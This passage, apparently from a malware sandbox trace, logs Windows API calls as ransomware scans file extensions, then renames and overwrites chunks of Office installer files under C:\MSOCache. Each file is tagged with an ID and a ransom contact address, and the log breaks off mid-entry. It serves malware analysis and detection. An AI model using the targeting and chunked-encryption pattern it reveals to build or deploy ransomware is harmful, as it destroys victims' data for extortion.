(lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.821] lstrlenW (lpString=".zip") returned 4 [0062.821] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0062.822] lstrlenW (lpString=".rar") returned 4 [0062.822] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0062.822] lstrlenW (lpString=".bz2") returned 4 [0062.822] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0062.822] lstrlenW (lpString=".7z") returned 3 [0062.822] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0062.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.822] lstrlenW (lpString=".dbf") returned 4 [0062.822] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0062.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.822] lstrlenW (lpString=".1cd") returned 4 [0062.822] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0062.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.822] lstrlenW (lpString=".jpg") returned 4 [0062.822] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0062.822] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.823] lstrlenW (lpString=".doc") returned 4 [0062.823] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0062.823] lstrlenW (lpString=".docx") returned 5 [0062.823] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0062.823] lstrlenW (lpString=".pdf") returned 4 [0062.823] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0062.823] lstrlenW (lpString=".xls") returned 4 [0062.823] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0062.823] lstrlenW (lpString=".xlsx") returned 5 [0062.823] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0062.823] lstrlenW (lpString=".ppt") returned 4 [0062.823] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0062.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.823] lstrlenW (lpString=".zip") returned 4 [0062.823] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0062.823] lstrlenW (lpString=".rar") returned 4 [0062.823] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0062.823] lstrlenW (lpString=".bz2") returned 4 [0062.823] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0062.823] lstrlenW (lpString=".7z") returned 3 [0062.824] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0062.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.824] lstrlenW (lpString=".dbf") returned 4 [0062.824] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0062.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.824] lstrlenW (lpString=".1cd") returned 4 [0062.824] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0062.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.824] lstrlenW (lpString=".jpg") returned 4 [0062.824] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0062.824] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0062.824] lstrlenW (lpString="VisioMUI.msi") returned 12 [0062.824] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0062.825] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=2797568) returned 1 [0062.825] CloseHandle (hObject=0x1e8) returned 1 [0062.825] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0062.825] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0062.825] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0063.040] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0063.040] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0x0) returned 1 [0063.040] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.040] ReadFile (in: hFile=0x1e8, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.047] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.048] ReadFile (in: hFile=0x1e8, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.067] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0063.067] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.067] ReadFile (in: hFile=0x1e8, lpBuffer=0x3ae0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ae0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.352] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.352] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x312fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0063.562] SetEndOfFile (hFile=0x1e8) returned 1 [0063.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4035008 [0063.575] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.575] WriteFile (in: hFile=0x1e8, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.579] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.579] WriteFile (in: hFile=0x1e8, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.589] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.589] WriteFile (in: hFile=0x1e8, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4035008 | out: hHeap=0x5c0000) returned 1 [0063.593] CloseHandle (hObject=0x1e8) returned 1 [0063.594] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0063.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.595] lstrlenW (lpString=".doc") returned 4 [0063.595] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0063.595] lstrlenW (lpString=".docx") returned 5 [0063.595] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0063.595] lstrlenW (lpString=".pdf") returned 4 [0063.595] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0063.595] lstrlenW (lpString=".xls") returned 4 [0063.595] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0063.595] lstrlenW (lpString=".xlsx") returned 5 [0063.595] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0063.595] lstrlenW (lpString=".ppt") returned 4 [0063.595] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0063.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.595] lstrlenW (lpString=".zip") returned 4 [0063.595] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0063.595] lstrlenW (lpString=".rar") returned 4 [0063.595] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0063.596] lstrlenW (lpString=".bz2") returned 4 [0063.596] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0063.596] lstrlenW (lpString=".7z") returned 3 [0063.596] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0063.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.596] lstrlenW (lpString=".dbf") returned 4 [0063.596] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0063.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.596] lstrlenW (lpString=".1cd") returned 4 [0063.596] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0063.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.596] lstrlenW (lpString=".jpg") returned 4 [0063.596] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0063.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.596] lstrlenW (lpString=".doc") returned 4 [0063.596] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0063.596] lstrlenW (lpString=".docx") returned 5 [0063.596] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0063.597] lstrlenW (lpString=".pdf") returned 4 [0063.597] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0063.597] lstrlenW (lpString=".xls") returned 4 [0063.597] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0063.597] lstrlenW (lpString=".xlsx") returned 5 [0063.597] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0063.597] lstrlenW (lpString=".ppt") returned 4 [0063.597] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0063.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.597] lstrlenW (lpString=".zip") returned 4 [0063.597] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0063.597] lstrlenW (lpString=".rar") returned 4 [0063.597] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0063.597] lstrlenW (lpString=".bz2") returned 4 [0063.597] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0063.597] lstrlenW (lpString=".7z") returned 3 [0063.597] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0063.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.597] lstrlenW (lpString=".dbf") returned 4 [0063.597] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0063.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.597] lstrlenW (lpString=".1cd") returned 4 [0063.597] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0063.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0063.598] lstrlenW (lpString=".jpg") returned 4 [0063.598] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0063.598] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0063.598] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0063.598] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.826] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=2511872) returned 1 [0063.826] CloseHandle (hObject=0x214) returned 1 [0063.826] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0063.826] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.826] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0063.827] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.827] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0x0) returned 1 [0063.827] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.827] ReadFile (in: hFile=0x214, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.832] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.832] ReadFile (in: hFile=0x214, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.851] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0063.851] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.851] ReadFile (in: hFile=0x214, lpBuffer=0x3ae0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ae0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.075] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.075] WriteFile (in: hFile=0x214, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x312fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0064.110] SetEndOfFile (hFile=0x214) returned 1 [0064.110] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4045010 [0064.171] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.171] WriteFile (in: hFile=0x214, lpBuffer=0x4045010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045010*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.173] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.173] WriteFile (in: hFile=0x214, lpBuffer=0x4045010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045010*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.184] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0064.185] WriteFile (in: hFile=0x214, lpBuffer=0x4045010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x4045010*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0064.190] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4045010 | out: hHeap=0x5c0000) returned 1 [0064.190] CloseHandle (hObject=0x214) returned 1 [0064.191] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0064.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.191] lstrlenW (lpString=".doc") returned 4 [0064.191] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0064.191] lstrlenW (lpString=".docx") returned 5 [0064.191] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0064.191] lstrlenW (lpString=".pdf") returned 4 [0064.191] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0064.191] lstrlenW (lpString=".xls") returned 4 [0064.191] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0064.191] lstrlenW (lpString=".xlsx") returned 5 [0064.192] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0064.192] lstrlenW (lpString=".ppt") returned 4 [0064.192] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0064.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.192] lstrlenW (lpString=".zip") returned 4 [0064.192] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0064.192] lstrlenW (lpString=".rar") returned 4 [0064.192] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0064.192] lstrlenW (lpString=".bz2") returned 4 [0064.192] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0064.192] lstrlenW (lpString=".7z") returned 3 [0064.192] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0064.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.192] lstrlenW (lpString=".dbf") returned 4 [0064.192] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0064.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.192] lstrlenW (lpString=".1cd") returned 4 [0064.192] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0064.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.192] lstrlenW (lpString=".jpg") returned 4 [0064.192] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0064.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.193] lstrlenW (lpString=".doc") returned 4 [0064.193] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0064.193] lstrlenW (lpString=".docx") returned 5 [0064.193] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0064.193] lstrlenW (lpString=".pdf") returned 4 [0064.193] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0064.193] lstrlenW (lpString=".xls") returned 4 [0064.193] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0064.193] lstrlenW (lpString=".xlsx") returned 5 [0064.193] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0064.193] lstrlenW (lpString=".ppt") returned 4 [0064.193] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0064.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.193] lstrlenW (lpString=".zip") returned 4 [0064.193] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0064.193] lstrlenW (lpString=".rar") returned 4 [0064.193] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0064.193] lstrlenW (lpString=".bz2") returned 4 [0064.193] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0064.193] lstrlenW (lpString=".7z") returned 3 [0064.193] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0064.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.194] lstrlenW (lpString=".dbf") returned 4 [0064.194] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0064.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.194] lstrlenW (lpString=".1cd") returned 4 [0064.194] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0064.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0064.194] lstrlenW (lpString=".jpg") returned 4 [0064.194] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0064.194] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0064.194] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0064.194] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0064.195] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=2507776) returned 1 [0064.195] CloseHandle (hObject=0x214) returned 1 [0064.195] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0064.195] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all 